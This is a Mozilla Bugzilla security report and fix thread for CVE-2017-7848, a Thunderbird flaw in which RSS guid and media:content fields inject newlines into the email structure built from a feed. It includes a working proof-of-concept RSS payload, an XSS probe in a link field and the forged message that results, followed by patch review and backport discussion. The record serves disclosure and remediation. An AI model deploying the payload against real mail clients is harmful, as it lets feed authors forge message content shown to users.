Closed Bug 1411699 (CVE-2017-7848) Opened 3 years ago Closed 3 years ago

TBE-01-011: RSS Feed vulnerable against Email Injection

Categories

(MailNews Core :: Feed Reader, defect)

defect
Not set
critical

Tracking

(thunderbird_esr5257+ fixed, thunderbird58 fixed, thunderbird59 fixed)

RESOLVED FIXED
Thunderbird 59.0
Tracking Status
thunderbird_esr52 57+ fixed
thunderbird58 --- fixed
thunderbird59 --- fixed

People

(Reporter: BenB, Assigned: alta88)

References

Details

(Keywords: sec-moderate)

Attachments

(3 files, 2 obsolete files)

Thunderbird supports import and rendering of RSS feeds. After a user imports a new RSS feed, it parses the entries and displays them. Specifically, Thunderbird parses the defined RSS items and converts them into an email structure to be able to properly display them. However, it was discovered that at least two RSS fields can inject new lines into the created email structure, therefore having a capacity to modify the whole body.

The media:content specifies resources, which should be appended as external attachments. The content of this element is placed after an X-Mozilla-External-Attachment-URL header in the created email structure but newlines are not filtered.
<media:content url="&#x0a;injected"></media:content>
The content of the guid element is parsed and appended to the Message-ID header at the beginning of the email structure. To underscore, the newlines are not filtered and therefore the email structure can be tampered with.
<guid isPermaLink="false">myguid&#x0a;</guid>
The following PoC abuses the guid element to inject a completely new email structure.

PoC RSS Feed:
<?xml version="1.0" encoding="UTF-8"?>
<rss
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:georss="http://www.georss.org/georss"
xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
xmlns:media="http://search.yahoo.com/mrss/"
Cure53, Berlin · 10/11/17
9/35Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de
xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"
version="2.0"
>
<channel>
<title>Feed1</title>
<link>http://foo.com/?"onclick=prompt(1)/</link>
<item>
<title>Feed1</title>
<guid isPermaLink="false">myguid&gt;&#x0a;Content-Type:
multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"&#x0a;MIME-Version: 1.0&#x0a;Subject: feed1&#x0a;From:
email@example.com&#x0a;To: email@example.com&#x0a;&#x0a;This is a multi-part
message in MIME format.&#x0a;--------------
2DEE3F98D70BD2C65FBA7373&#x0a;Content-Type: multipart/related;
boundary="------------A320A96F6639F3C578F35383"&#x0a;&#x0a;&#x0a;--------------
A320A96F6639F3C578F35383&#x0a;Content-ID: myself&#x0a;Content-Type:
text/html&#x0a;Content-Transfer-Encoding:
7Bit&#x0a;&#x0a;&lt;h1&gt;header&lt;/h1&gt;&#x0a;--------------
A320A96F6639F3C578F35383--&#x0a;&#x0a;--------------2DEE3F98D70BD2C65FBA7373--
&#x0a;&#x0a;&#x0a;&#x0a;&#x0a;</guid>
</item>
</channel>
</rss>
The created email structure:
From - Wed, 20 Sep 2017 10:59:42 +0200
X-Mozilla-Status: 0041
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Received: by localhost; Wed, 20 Sep 2017 10:59:42 +0200
Date: Wed, 20 Sep 2017 10:59:42 +0200
Message-Id: <myguid>
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: feed1
From: email@example.com
To: email@example.com
This is a multi-part message in MIME format.
--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"
--------------A320A96F6639F3C578F35383
Content-ID: myself
Cure53, Berlin · 10/11/17
10/35Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de
Content-Type: text/html
Content-Transfer-Encoding: 7Bit
<h1>header</h1>
--------------A320A96F6639F3C578F35383--
--------------2DEE3F98D70BD2C65FBA7373--@localhost.localdomain>
From: Feed1
MIME-Version: 1.0
Subject: Feed1
Content-Transfer-Encoding: 8bit
Content-Base:
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Feed1</title>
<base href="">
</head>
<body id="msgFeedSummaryBody" selected="false">
Feed1
</body>
</html>

It is recommended to remove all newlines specified in RSS fields. This should be done after entities are decoded to ensure that no newline can slip through. This ensures that an RSS feed cannot completely modify the created email structure.
Group: mail-core-security
For the original report as PDF; see bug 1411701.
Sorry about the Cure53...mario@cure53.de in the original description, that was a copy&paste issue. See the PDF for a cleaner version.
Attached patch parser.patch (obsolete) — Splinter Review
Remove all 00-1F chars from the document. Long ago the xhr request was changed to xml so gecko wouldn't even pass a doc with decimal bits to the parser. But escaped bits.. Subscribe from local file:// for testing requires the command |FeedUtils._validSchemes.push("file")| in console.
Attachment #8922449 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8922449 [details] [diff] [review]
parser.patch

Review of attachment 8922449 [details] [diff] [review]:
-----------------------------------------------------------------

::: mailnews/extensions/newsblog/content/feed-parser.js
@@ +29,5 @@
>        return [];
>      }
>  
>      let doc = aDOM.documentElement;
> +    aDOM.documentElement.innerHTML = this.removeUnprintableASCII(doc.innerHTML);

Won't this be trouble for newlines if you have, say <pre> elements in the inline feed content?
I don't think so, it would make them look minified within the <pre> tag but losing the \n shouldn't make a syntax difference. But I could be wrong; do you have an example?

The alternative is to be selective about it and consider each header, and avoid the content. But this could get fragile given all the assumptions with underspecified rss2.0.
If the feed item content contains 
<pre>
row1
row2
row3
</pre>


... you don't want to display row1row2row3. But 
row1
row2
row3

What do you mean by minified?
I was thinking of inline css (minified is not the right word). Back to the hard way.
This approach scrubs fields to be stored as headers.
Attachment #8922449 - Attachment is obsolete: true
Attachment #8922449 - Flags: review?(mkmelin+mozilla)
Attachment #8922512 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8922512 [details] [diff] [review]
parser.patch - initial approach, not for checkin

In retrospect, I don't like this approach.  If the entire document can't be scrubbed, then all tags should be unless they are the tags that can't be.
Attachment #8922512 - Flags: review?(mkmelin+mozilla)
Cure53 called this item "high" severity, but what are the implications of creating a new email structure? Would it be able to escape the feed folder? How is this much different from just adding another item to the feed, which the feed author pulling this trick could do anyway? If it spoofs a mail, how is that much different than sending spam with a forged address? Does such a mail entry get created bypassing some important sanity checks we do on the content of mail, or do we do those on display of the mail also?

Going to guess sec-moderate for now.
Flags: needinfo?(ben.bucksch)
Keywords: sec-moderate
Assignee: nobody → alta77
Status: NEW → ASSIGNED
Summary: RSS Feed vulnerable against Email Injection → TBE-01-011: RSS Feed vulnerable against Email Injection
Assignee: alta77 → alta88
(In reply to alta88 from comment #9)
> Comment on attachment 8922512 [details] [diff] [review]
> parser.patch
> 
> In retrospect, I don't like this approach.  If the entire document can't be
> scrubbed, then all tags should be unless they are the tags that can't be.

I think this approach is still good enough. I kind of liked it.
Depends on: CVE-2017-7846
Attached patch parsernewline.patch (obsolete) — Splinter Review
Yeah, it's good enough to fly, but not high end enough to show off. And things should be cleaned up as close to the input as possible.
Attachment #8926482 - Flags: review?(mkmelin+mozilla)
some tweaks.
Attachment #8926482 - Attachment is obsolete: true
Attachment #8926482 - Flags: review?(mkmelin+mozilla)
Attachment #8927143 - Flags: review?(mkmelin+mozilla)
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch

Review of attachment 8927143 [details] [diff] [review]:
-----------------------------------------------------------------

LGTM, r=mkmelin
Attachment #8927143 - Flags: review?(mkmelin+mozilla) → review+
Keywords: checkin-needed
Attachment #8922512 - Attachment description: parser.patch → parser.patch - initial approach, not for checkin
https://hg.mozilla.org/comm-central/rev/0b656c52b5465d8de6bc3bd42a66d3d26cf056cb

Sigh, this was fixed in TB 59, but that target doesn't exist :-(
Keywords: checkin-needed
Target Milestone: --- → Thunderbird 58.0
Status: ASSIGNED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Hmm, if your patch doesn't contain an author and I import it, I will become the author :-(
And if I don't notice it and change it, it gets landed with the incorrect author :-(
Don't know what happened, it's set up to include author, and I didn't notice either.  It's not important as the real author can readily be identified, and you are hereby indemnified.
Group: mail-core-security → core-security-release
Target Milestone: Thunderbird 58.0 → Thunderbird 59.0
Depends on: 1418666
Attachment #8927143 - Flags: approval-comm-beta+
No uplift to TB 52 requested here?
Flags: needinfo?(mkmelin+mozilla)
Flags: needinfo?(alta88)
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch

Review of attachment 8927143 [details] [diff] [review]:
-----------------------------------------------------------------

LGTM, r=mkmelin
Attachment #8927143 - Flags: approval-comm-esr52?
Flags: needinfo?(mkmelin+mozilla)
Attachment #8927143 - Flags: approval-comm-esr52? → approval-comm-esr52+
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch

This depends on bug 1411716, which can't be applied.

Note that the regexp landed here needs to be corrected by uplifting bug 1418666 as well.
Attachment #8927143 - Flags: approval-comm-esr52+
Flags: needinfo?(alta88)
Hand-made comm-esr52 patch also including bug 1418666,
Alias: CVE-2017-7848
(clearing NI, assuming we're past the issues of comment 10)
Flags: needinfo?(ben.bucksch)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.